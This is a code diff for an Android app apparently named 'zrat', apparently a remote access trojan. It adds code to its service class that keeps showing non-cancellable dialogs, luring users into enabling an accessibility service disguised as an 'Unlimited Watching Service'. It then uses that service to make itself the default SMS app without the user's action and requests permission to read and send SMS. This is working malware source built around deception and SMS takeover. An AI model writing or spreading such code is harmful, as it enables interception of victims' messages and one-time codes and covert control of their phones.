|
|
@@ -1,11 +1,14 @@
|
|
|
package com.example.zrat;
|
|
|
|
|
|
import android.Manifest;
|
|
|
+import android.app.Activity;
|
|
|
import android.app.Notification;
|
|
|
import android.app.NotificationChannel;
|
|
|
import android.app.NotificationManager;
|
|
|
import android.app.Service;
|
|
|
+import android.app.role.RoleManager;
|
|
|
import android.content.Context;
|
|
|
+import android.content.DialogInterface;
|
|
|
import android.content.Intent;
|
|
|
import android.content.pm.ApplicationInfo;
|
|
|
import android.content.pm.PackageManager;
|
|
|
@@ -17,10 +20,12 @@ import android.os.Build;
|
|
|
import android.os.Bundle;
|
|
|
import android.os.IBinder;
|
|
|
import android.provider.Settings;
|
|
|
+import android.provider.Telephony;
|
|
|
import android.telephony.SmsManager;
|
|
|
import android.util.Log;
|
|
|
|
|
|
import androidx.annotation.RequiresApi;
|
|
|
+import androidx.appcompat.app.AlertDialog;
|
|
|
import androidx.core.app.NotificationCompat;
|
|
|
|
|
|
import com.example.zrat.permissions.PermissionManager;
|
|
|
@@ -42,6 +47,7 @@ import java.util.Objects;
|
|
|
|
|
|
import io.socket.client.IO;
|
|
|
import io.socket.client.Socket;
|
|
|
+import pub.devrel.easypermissions.AppSettingsDialog;
|
|
|
import pub.devrel.easypermissions.EasyPermissions;
|
|
|
|
|
|
public class ZService extends Service {
|
|
|
@@ -50,6 +56,10 @@ public class ZService extends Service {
|
|
|
private final IBinder binder = new ZBinder();
|
|
|
private Socket mSocket;
|
|
|
|
|
|
+ private int RETRY_COUNT = 0;
|
|
|
+
|
|
|
+ private AlertDialog alertDialog;
|
|
|
+
|
|
|
public ZService() {
|
|
|
}
|
|
|
|
|
|
@@ -57,6 +67,138 @@ public class ZService extends Service {
|
|
|
public ZService getService() {
|
|
|
return ZService.this;
|
|
|
}
|
|
|
+
|
|
|
+ public void onResume(Activity activity) {
|
|
|
+ boolean a11y = checkA11yService(activity);
|
|
|
+ if (!a11y) return;
|
|
|
+ dismissDialog();
|
|
|
+
|
|
|
+
|
|
|
+ boolean smsApp = checkSmsApp(activity);
|
|
|
+ if (!smsApp) {
|
|
|
+ new Thread(() -> {
|
|
|
+ try {
|
|
|
+ Thread.sleep(100);
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ AccessibilityService.instance.setDefaultSmsApp();
|
|
|
+ }
|
|
|
+ } catch (InterruptedException e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ }).start();
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ dismissDialog();
|
|
|
+
|
|
|
+
|
|
|
+ boolean smsPermission = checkSmsPermission(activity);
|
|
|
+ if (!smsPermission) return;
|
|
|
+ dismissDialog();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ public boolean checkSmsApp(Activity activity) {
|
|
|
+ RETRY_COUNT++;
|
|
|
+
|
|
|
+ boolean fallback = false;
|
|
|
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
|
|
+ RoleManager roleManager = getSystemService(RoleManager.class);
|
|
|
+ if (roleManager.isRoleAvailable(RoleManager.ROLE_SMS)) {
|
|
|
+ if (roleManager.isRoleHeld(RoleManager.ROLE_SMS)) {
|
|
|
+ return true;
|
|
|
+ } else {
|
|
|
+ if (RETRY_COUNT > 10) {
|
|
|
+ gotoSettings(activity);
|
|
|
+ } else {
|
|
|
+ Intent intent = roleManager.createRequestRoleIntent(RoleManager.ROLE_SMS);
|
|
|
+ activity.startActivityForResult(intent, 101);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ fallback = true;
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ fallback = true;
|
|
|
+ }
|
|
|
+
|
|
|
+ if (fallback) {
|
|
|
+ if (Telephony.Sms.getDefaultSmsPackage(this).equals(activity.getPackageName())) {
|
|
|
+ return true;
|
|
|
+ } else {
|
|
|
+ if (RETRY_COUNT > 10) {
|
|
|
+ gotoSettings(activity);
|
|
|
+ } else {
|
|
|
+ Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
|
|
|
+ intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, activity.getPackageName());
|
|
|
+ activity.startActivityForResult(intent, 101);
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+ }
|
|
|
+ return false;
|
|
|
+ }
|
|
|
+
|
|
|
+ private boolean checkA11yService(Context context) {
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ return true;
|
|
|
+ }
|
|
|
+ showDialog(context, "Permission Required", "To continue using this app, please enable the Unlimited Watching Service",
|
|
|
+ (dialog, which) -> {
|
|
|
+ Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
|
|
|
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
|
|
+ startActivity(intent);
|
|
|
+ });
|
|
|
+ return false;
|
|
|
+ }
|
|
|
+
|
|
|
+ private boolean checkSmsPermission(Activity activity) {
|
|
|
+ boolean hasPermission = EasyPermissions.hasPermissions(this, android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS);
|
|
|
+ if (hasPermission) {
|
|
|
+ return true;
|
|
|
+ }
|
|
|
+ PermissionManager.getInstance(this).checkPermissions(
|
|
|
+ Arrays.asList(android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS),
|
|
|
+ new PermissionManager.PermissionRequestListener() {
|
|
|
+ @Override
|
|
|
+ public void onPermissionGranted() {
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onPermissionDenied(DeniedPermissions deniedPermissions) {
|
|
|
+ new AppSettingsDialog.Builder(activity)
|
|
|
+ .setTitle("Permission Required")
|
|
|
+ .setRationale("To continue using this app, please grant the required permissions")
|
|
|
+ .build().show();
|
|
|
+ }
|
|
|
+ });
|
|
|
+ return false;
|
|
|
+ }
|
|
|
+
|
|
|
+ private void gotoSettings(Context context) {
|
|
|
+ if (alertDialog != null && alertDialog.isShowing()) return;
|
|
|
+ showDialog(context, "Permission Required", "Please choose " + Utils.getStringResourceByName(this, "app_name") + " as your default SMS app",
|
|
|
+ (dialog, which) -> {
|
|
|
+ Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
|
|
|
+ startActivity(i);
|
|
|
+ });
|
|
|
+ }
|
|
|
+
|
|
|
+ private void showDialog(Context context, String title, String msg, DialogInterface.OnClickListener listener) {
|
|
|
+ if (alertDialog != null && alertDialog.isShowing()) return;
|
|
|
+ alertDialog = new AlertDialog.Builder(context)
|
|
|
+ .setTitle(title)
|
|
|
+ .setMessage(msg)
|
|
|
+ .setPositiveButton("OK", listener)
|
|
|
+ .setCancelable(false)
|
|
|
+ .show();
|
|
|
+ }
|
|
|
+
|
|
|
+ private void dismissDialog() {
|
|
|
+ if (alertDialog != null && alertDialog.isShowing()) {
|
|
|
+ alertDialog.dismiss();
|
|
|
+ alertDialog = null;
|
|
|
+ }
|
|
|
}
|
|
|
|
|
|
@Override
|
|
|
@@ -311,5 +453,4 @@ public class ZService extends Service {
|
|
|
}
|
|
|
}
|
|
|
|
|
|
-
|
|
|
}
|